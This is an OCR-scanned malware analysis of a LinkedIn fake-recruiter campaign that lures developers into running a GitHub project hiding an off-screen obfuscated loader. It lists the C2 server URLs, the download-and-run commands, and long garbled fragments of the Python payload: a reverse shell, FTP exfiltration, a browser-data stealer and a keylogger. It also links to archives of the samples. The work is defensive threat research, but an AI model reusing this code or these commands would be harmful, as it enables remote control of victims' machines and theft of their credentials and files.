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About

O
%he attack primarily targets development companies with the aim of gaining initial access to
their corporate infrastructure. The attack typically begins with a Linkedln message posing as
a legitimate development opportunity or business proposal. The message is designed to
entice the recipient by offering a project or job, often tailored to the company's expertise.
Once the recipient engages, attackers may attempt to gather information, deploy phishing
links, or gain unauthorized access to critical systems, using this initial contact as a foothold
into the company's network.
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Links:

e https://www.linkedin.com/in/merilyn-edeki/ still active
« https:/github.com/Oxcestlaview/addingtoken removed X
e https://github.com/Oxcompanypro/addingtoken still active

Process of Removing

e

e 27/09/2024: Report submitted to the Microsoft Security Response Center (MSRC)

o 28/09/2024: Received a response from MSRC stating, "It does not meet Microsoft’s
requirements as a security vulnerability for servicing."

o 28/09/2024: Contacted a friend from Microsoft, resulting in the malicious GitHub
account being blocked.

e 04/10/2024: Attacker reached out again with a new GitHub repository shared.

» 04/10/2024: Cotacted Microsoft again, but the new GitHub account remained active

Linkedln messages

A
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Merilyn Edeki * &44 PM

Hi, P g
How are you?
I'm very glad to connect with you on Linkedin.

At our company, we are launching a new initiative to
develop a cryptocurrency token and create a dedicated
website for it, The project includes smart contract and
token development, with a timeline of one year. Given
your expertise in blockchain development, we believe
you could make a significant contribution to our
company. Your insights and skills would be invaluable
in helping us achieve our goals

We understand that you may have other commitments,
and we are open to discussing a flexible arrangement
that accommodates your schedule. This contract
would allow you to collaborate with our company and
contribute to this exciting project while balancing
your current commitments.

Looking forward to your response.

Best regards,

Merilyn Edeki

Talent Acquisition Coordinator at C'est 1a vie Wellness
Retreat LLC
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« 1210 PM

Hi Merilyin,
thx for contacting us..l have a development company
in which we indeed create custom made solutions for
our customers.

We are interested in the project can we get more info
or how do you plan to proceed.

0 Merilyn Edeki * 245 PM
Okay

Here is the project details that we are going to
develop

Please review the document first and let me know if
you are available to work on this project

ProjectOverviewforCestla...
140 KB

PDF

The file, which is not malicious and contains the complete documentation and specifications
for the project, can be found within the provided link or attachment.
ProjectOverviewforCestlavie

Upon sending the offer, the attackers request the recipient's GitHub account information,
claiming that they will grant access to a repository where the project can be closely reviewed.
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Merilyn Edeki * 543 PM
Okay

We will check and come back asap

_' El_u:l.!

If you have any questions plese do not hasitate to ask

T

Merilyn Edeki * 544 F
Okay

T

Merilyn Edeki = 547 F

Qkay. That's good

We would like you to review our initial project before
your technical meeting. Understanding the project
beforehand will be very helpful for both your task and
our tech meeting. We will share our company’'s GitHub
repository with you. Should we send the invitation to
your GitHub? Please let me know your GitHub
username,

When the invitation was received, the GitHub repository's homepage appeared quite
convincing, with a professional layout and relevant project details. Additionally, the activity on
the project, such as recent commits and contributions, seemed legitimate, further reinforcing
the impression that it was a genuine opportunity

C'est la vie Wellness Retreat LLC

© United States of America (P hitp//cestiaviewelinessretreatcom [ ammelle@cestiaviewelinessretreat.com
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<> Code =
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M backend
B frontend

| READMEmd

1] README

LELEEES

Express + React Demo

Packages

Node v16 | Express | React

Languages

® JavaScript

® Other 04%
Step 1: Install Backend Dependencies

In your terminal, navigate to the /backend directory of the project and run the following command to install the
backend dependencies:

cd backend

At a quick glance, reviewing the project code didn’t reveal any malicious content, so we
suspected that the issue might be in the dependencies. However, when we couldn't find
anything suspicious in the dependencies, we took a closer look at the code itself. That’s
when we discovered something tricky. The entire GitHub project, including the malicious
code, can be found in the repository. AddingToken-main (password: infected)

As seen in the image, we noticed that one file had something unusual on the far right side.
When we used the word wrap command, it revealed the main juice.
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And here’s where things get a lot more fun :). Deobfuscating the code didn’t reveal much, so
we formatted the code and ran it through a debugger in the lab environment. That's when we
discovered that the code connects to a specific server at
hxxtp://23.106.253.221:1244/keys and posts certain data. As shown in the image, this
connection provided further insight into the malicious activity

‘h 221 s', formbata: {_}}

After this initial call, the code made a request to
hxxtp://23.106.253.221:1244/73/ZU1RINz7, which returned a file named infected file. This

file was then saved locally in the users home .vscode directory under the name test. js.
The program continued by downloading another file, package.json, from
hxxtp://23.106.253.221:1244/p and stored it in the same .vscode directory.
|
{
"dependencies™: {
"child process™: "~1.8.2",

"request”: “"12.88.2",
"crypto”: "~1.6.1"

b
¥

Further debugging reveals that, later in the process, the code composes and executes three
key commands. First, it installs the necessary npm dependencies by running cd
"C:\\Users\\heorhe\\.vscode" && npm i --silent". Once the dependencies are in
place, it executes the same installation command again for redundancy or to ensure all
packages are properly installed npm --prefix "C:\\Users\\heorhe\\.vscode" install.
After that, the program proceeds by running executing the program node
C:\\Users\\heorhe\\.vscode\test. js, which executes the malicious test. js file
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downloaded earlier. This sequence of commands allows the malicious code to execute
seamlessly under the guise of typical development activity, making it more difficult to detect
in a development environment.

"We tested the downloaded malicious code with various antivirus programs to determine if it
would be flagged as malicious. Surprisingly, we found that only 4 antivirus programs
detected the code as suspicious. This low detection rate highlights the stealthy nature of the
malware, allowing it to potentially bypass many security solutions and remain undetected on
compromised systems.

The next action the program takes is downloading a Python executable binary, which it later
uses for further malicious activities. Once the Python binary is downloaded, the program
proceeds to run a Python scripts, leveraging the newly acquired binary to execute the
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malicious code. The associated files, including the Python binary and script, can be found in
this project under All files (password: infected).

pzip > pyp 2

T Sort = View (& Extractall
MName - Type Compressed size Password ... | Size Ratio Date modified
DLLs File folder 16/0
Lib File folder 16/0
Scripts File folder 16/0
Tools File folder 16/0
[®] python.exe Application 52KB  MNo 100KB  49%
D python3.dll Application extension 22KB Mo B5KB  67%
D python311.dll Application extension 2.226KE Mo 5627TKB  61%
W] pythonw.exe Application 50KE MNo 93 KB 49%
B veruntimel40.dll Application extension 55KBE  MNo 107 KB 49%
D veruntimel40_1.dll Application extension 24KB Mo 49KB  51%

Later on the scripts that are run on the machine are

1. In order to achieve its final objective, the program downloads pay . py, which contains a
reverse shell designed to connect back to the attacker's machine, allowing remote
control of the compromised system. Additionally, other files like pay . txt and any. txt
are also downloaded, likely serving as configuration or supplementary files for the
malicious activities

Reverse shell code

();A.un=getuser();A.uuid-A.get_id()
hex()

6:] + host[:16]) .decode()

n().get_info()

me. time()*1008) ;C={\

9/19


https://github.com/ssrdio/PublicIoC/blob/main/CestLaVie/files/infected_files.7z
https://github.com/ssrdio/PublicIoC/blob/main/CestLaVie/img/project_1_6_1.png
https://github.com/ssrdio/PublicIoC/blob/main/CestLaVie/img/project_2_1.png

Bt

cket import

shutdown(A):
ndall(\

connect (A, ip, port):A. sock. connect  (ip,port;
n json.dumps ({\

ii = struct.pack(\
A.sock.

11 = A.recvall(4
if ne

e )
len(d) < s

pt = A.sock.recv(size - len(d
if ptzreturn N
d.extend(pt)

15res.append ( (pd,\
x in sa

#n-0s. path.join (dir,x

.path.splitext(xe
x_files os.path.getsize(fn) < 1048576

<.append ( (pd,\
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x==ex_dirs[1] —ex_dirs[2] or x==ex_dirs[3] —ex_dirs[4]:continue

5. path.join(dir,x)

if os.path.isfile(fn):res.append( (pd, x

1if os.path.isdir(fn):
if pd 1=\
els
res-res+1de(rd, t

:pass

1d1(rd, pd, pat
dir-os.path.join(rd,B);res-

for x in s:
£n:

sres.append( (B,\

=05 path. join(dir,x

x0 = x.lower ()
if os.path.isfile(fn):
fe - os.path.splitext(x@
fe in ex_files
xe_find(D) >= @
-path.isdin(fn):
x in ex_dirs x0

0s.path.getsize (fn)<104857600:
res.append( (B, x

ex_dirs:

else:t=x
res-res+1d1(rd, t,0)

1d2(rd, pd, pat):
D-pat;B=pd

i 8}
dir-os.path.join(rd,B); res=[];res.append! (B,\
for x in S:
fn-os.path. join(dir,x
T
X0 = x.lower
if os.path.isfile(fn):
, fe =

0s.path. splitext(xe
if not fe in ex_files

os.path. getsize(fn)<104857600:
if x8.find(D) >- @

res.append (B, x

if sc1024:return str(s)+\
elif 5<1848576:return\
elif 5<1073741824:raturn\

1as

_init_ (A,5):
A.sess = 5;A.is_alive = _T;A.is_delete = _F;A.lock = RLocki
A.par_dir = os.path

3A.timeout_count=@;A.cp_stop=0
join(os.path.expanduser("~"), *.n2"
A.cmds = {1:

.ssh_obj,2:A.ssh_cmd,3:A.ssh_clip,4:A.ssh_run,5:A.ssh_upload,6:A.ssh kill,7:A.ssh_any,8:A.ssh_env,9:A.ssh_zcp]

listen_recv(A

A.is_alive:

if A.timeout_count<38:A.timeout_count+=
else:A.timeout_coun
if rec
A.timeout_count=e
with A.lock:
D=json.loads(recv); c=D[\
if ¢
els

A.cnds: tg=A.cmds [c]; t=Thread target=tg, args=args,;t.start()

if A.is_alive:A.is_alive=_F;A.close()

A.is_alive:A.timeout_count-8;A.is_alive- F;A.close()

shell(A):
1 - Thread(target-A.Listen recv);tl.daemon- T;t1.start()
_is_alive:

sleep(5)

pt:break
A.close()

return A.is_delete

F send(A,code-_N,args-_N):A. sess. send(code-code , args-args)
sendall(A,m):A.sess.sendall(m)
close(A):A.is_alive-_F;A.sess.shutdown()
send_n(A,a,n,0):print(0);p={_A:a,_0:0};A.send (code=n, args=p)
ssh_cmd(A,args):
try:
if arg

except Exception as e:o=f
A.sendall(0);A.is_delete
ssh_obj(A,args):
try:

a-args[_A];cmd-args[\

if cnd == \

£ cmd. split()[0] == \
- subprocess.Popen(cmd, shel
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if len/cmd.split
Or1:1
if os.path.exists(p):os.chdir(p
0=0s . getcwd

ubprocess .Papen(cnd, shell=_T, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess .PIPE) . comunicate
yio-decode_str(proc[e]);err=decode_str(proc[1]
roc[@];err=proc[1

def ssh_clip(A,args):
global e_buf

def down_bro(A,p
if os.path.exists(p):
try:zos.remove(p
OSError
try:
if not os.path.exists(A.par_dir

0s.makedirs (A.par_dir
55
host2 = £"http://{HOST}:{PORT
try:
myfile - requests.get(host2+"/bro
ith open(p,\
return _T

except Exception as e:return _F

“+sType, allow redirects= T

def ssh_run(A,args
t
a=args[_A];p=A.par_dir+"/bou" ;res=A.down_bro(p
if res:
if os_type indows” ; subprocess. Popen( [_PYP,p],creationflags-subprocess.CREATE_NO_WINDOW| subprocess.CREATE_NEW_PROCESS_GROUP
else: subprocess .Popen([_PYP,p]
os_type + \
cept Exception as e:o = f\
_A:a,_0: o};A.send(code=4,args=p,

o

ef send_5(A,a,0):A.send_n(a,5,0

def ssh_upload(a, args) :

A];emd=args [\

A.send_5(D,0)

rgs[\ 1 [
tpLib_FTP(hn, un,pu);

return (f,d)
def s ft(A,6,t,5d,rd,x,y):
5. path. join(sd,x,y)sdn-rds\

h open(sn,\ )
A.storbin(t,dn,f)

sA.send_5(6,0
xcept Exception as e:

def ss_upd(A,D,args,sd,name):
A.cp_stop=0;t=_N
try:
if sd.
A.send_5(D,\

res=1d(sd,\
A.send_5(D,\
t. .o_ftp(args, name

else:A.s_ft(D,t,sd,rd,x,y.
t.close
A.send_5(D,\
cept Exception as ex:
if t is not _N:t.close()
\

def ss_upa(A,D,args,sd,name):
A.cp_stop=0;t=_N
try
if sd==\
A.send_5(D,\
res=1de(sd,\
A.send_5(D,\
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Ftp(args, name
path.join(sdir,sFile) ;dn-rds\

A.send_5(D,\
Ftp(args, nam

,dd,x,y):
dn = dd
for 4 in x.split
dn = dne\
irname (dn:t.mkd(dn

bin(t,dn,f);f.close

listdir(dir
path.join(dir,x

x.lower

fe in ex1_fil

;res.append! (sd,pd,
_path.isdir(fn
dir

ercnd(cn, _N

p.read(bs
bfzb

len (b
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(t,dd)=A.0_ftp
if os_type indous
hd=os .path.expanduser (\

dd1=dd+\

1d(a,t,hd+\

i in range(68,73):
C=chr(i);dd1~dds\

ss ld(a,t,Ce\

hd-os .path.expanduser

ds\
1d(a,t,hd, dd1,\

3

end_n(a,8,\

if os.path.exists(p)
try:0s.remove(p.
Error:

s.makedirs(A.par_dir)

host2 = £'http://{HOST}:{PORT}"

sres-A. down_any (p)

:subprocess .Popen([_PYP, p], creationflags-subproc:

|_zcp (A, args)
D-args[_A]
try

pandus

py7zr. sevenzipFile(afn, \

archive.writeall(tmpd, aid

par_fol - os.path.dirname(tmpd

-CREATE_NO_WINDO!

subprocess.c

REATE_NEW_PR(

£SS_GROUP)
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rs, files in content

folder_name in fold

ab_path

rel_p - ab_path.replace(par_fol + \
p.urite(ab_path,

file_name in fil

ab_path - os.path.join(root, file_name

rel_p - ab_path.

zip.urite(ab_path, rel p

D,9,f\

dn-dds\
th open(afn, “rb

)

try:shutil.rmtr
Err

base64.b6ade

_port = PORT@:A.i i _F:A.is_ali ount - @;A.shell = N

et.SOCK_STREAM)
er_port)

if A.shell.shell():
try:dir = os.getcwd(); fn=0s.path.join(dir, sys.arg)

k_call([_PYP, M, §

k_call([_PYP, M, §

hutil, tempfile

yping imp

win_path(path: Union[di
isinstance(path, di
os.path. join(

_paths_inpl(paths
0s_name.ower ()

paths:
for i in sorted(glob.glob(path
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_inpl (paths, os_name

r, list], channel: Union
: channel = [channel
isinstance(paths, paths = [path
urn paths, channel
], channel: Union[s

_gen_nix_paths(paths: Union
ths, channe

ths, channe en_paths (p:

or chan in channel:

for path in paths
res_append (path.format  channel=chan

1 res

annel: Union[s

h;
hannel)

channel:
~ path in paths
res_append ({"env" path. format( chan
res.ap; path. format (channe:
urn res
ass CB:
__dnit_| E -brous rof_dirs;A.
, windows_profi profi N)
_expand_
in ost.1
profil

linux_profiles= I
A.prof_dis
ux") or “bs:
d_paths (1inux
A.prof_dirs or _expand_paths (wind
A.prof_dirs
__str__(A): browser
load(A): : A.brouser,

1_conf_p
Chrome (CB;
_init_ (A, prof_dirs
args - {

\\\\"+5_df,
\\\"+s_pf,

n_base_p+"
channel=["",
"()._i of_dirs, **args)

Chromium(CB):

Lum\\\

__add_info(**8)
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_init
args
"linux_profi

1_conf_p+"o,

dows_profiles”: _gen_win_paths

Softuare\\\\Opera
channel-
“osx_profiles”:
m base p+

m_base_p+"

m_base_p+“con.

super().__init_ (browser="0pera",prof_dirs=prof_dirs, **args)

Brave(CB)
- N):
: _gen_nix_paths(
1_conf_p+"Braveso;

1_conf_p+"Bra

ftware/Brave-Browser-
o - +s_pf,
v BraveSoftware/Brave-Browser

\\\\Usel

Data*\\\\"+s_df,
\\\use

Data*\\\\"+s_pf,
channel=

“0sx_profiles”: _gen_nix_paths

m base_p+"BraveSoftware/Bra

channel=

super().__init_(browser-"8rave”,prof_dirs-prof_dirs,**args)

class Edge(CB):

__init_ (A, prof_dirs=_N):

args = {
linux_prof: : _gen_nix_paths(

1_conf_p+"microsoft-edge
1_conf_p+"mi

channel=

windows_profiles”: _gen_win_paths

0sof tA\\\\E: \\\\Usel

Data*\\\\"+s_df,
\W\\use

Data*\\\\"+s_pf,
channel= Beta”,

x_profiles”: _gen nix_paths
m_base_p+"Microsoft
m_base_p+“Microsoft E

channel=["",

. " Beta”,

super().__init_ (browser= ,prof_dirs=prof dirs,**args)
class Vivaldi(CB):
__init_ (A, prof_dirs=_N):
args = {
Linux_prof:
1_conf_p+"vivaldi/"+s_df,
1_conf_p+"vivaldi/"+s_pf,
1_conf_p+" di-snapshot/"+s_df,
1_conf_p+"vivaldi-snapshot/"+s_pf,
7 r/app/com
r/app/com

ndows_profiles

Vivaldi\\\\L X
vivaldi\\\\User Data®™\\\\"+s_pf,
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iles”:

n_base_p+

chrome (prof_d
chromium(pre

eturn Opera(prof_dirs). 10ad()
(prof_dirs).load()
-load()

de
vivaldi(prof_dir

~ name in os.listdir(src_dir) if os.path.isdir(os.path.join(src_dir, nam
n
“{pre}_{d)_{dic[d]}";cp_dir(os.path.join(src_dir,d), dst_dir, tdn, pname)

cp_dir(src_dir, dst_dir, tdn, pname):
os.path.isdir(src_dir;
try:shutil.copytree(src

1d_brd(dst)
1

1peiijkld
pfboieaf

rion", "lnnnmfcj

L path.join(prof_dir,
p_dirs(ext_local_ro t_local dic, dst, pre
join(prof_dir,"Sync Ext

dic, dst, pre,

5. path . join(prof_di

local_storage=
dst, pr

_dir(local_stora

db_last_pa
_dir(db_la:

{m_base_p+"E

app,
_conf_p

app_Linux_array

sitems
ith(\

0s.path.join (dst, \
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res = requests.post(tgh_url, dat
p. close()
return res.status_code

rn -1

st.startsuith(\
Fi

ept KeyboardInterrupt:pass
sys.exit(e)

try:import pyWinhook as pyHook

ubprocess. check_call([_PYP, M, P, L,\

ass

ubprocess. check_call([_PYP, M, _P,_L,\

)
win32process.GetiindowThreadProcessTd (win32gui.GetForegroundwindow (;return (pid[-1], psutil.Process(pid[-1]).name

e_buf+=tt;write_txt(tt);return

def hard(event:
global e buf, m_win

is_ctl_down
A2 or is_down (pyHook.GetKeyState @xA3

urn is_down(pyHook. GetKeyState (@x11 or is_down(pyHook.GetKeyState

check_window(even
global c_win

event .Window:
act_win_pn

tz = timezone (offset=timedeltahour

d_t = datetime.fromtimestamp(time.time

t_s = d_t.strftime("Xn/%d/%Y, ¥H:%

vent .indow

-[ {text} | PID: {pid}-{c_win}
-[ @ {t_s} | {event.windowName}

copied = pyperclip.waitForPaste(0.05);tt =

“3tt += copied;tt

e buf += tt;write txt(tt)
except Exception as ex:pass

hkb(event):

event. KayID A2 or event.KeyID == OxA3:return _T

global e_buf
tt = check_window(event)

key = event.Asci
event.Key}>"

2 and key<=126:key-chr(key.

is_ctl_down() and event.Key
tmr = Timer(0.1, run_copy_clipboard);tmr.start
elif is_ctl down() and event.Key == \

tmr = Timer(6.1, run_copy_clipboard);tmr.start

e buf += tt;write_txt(tt);return T
startHk() :hm = pyHook.HookManager () ; hm. MouseLeftDown = hnld;hm.MouseRightDoun = hard;hn.KeyDown = hkb;hm.HookMouse () ;hm. HookKeyboard

;pythoncom. PumpMessages|

t1=Thread (target=hk_loop);t1.daemon=_T;t1.start
Tient.run
except KeyboardInterrupt:sys.exit(e;

run_client()\
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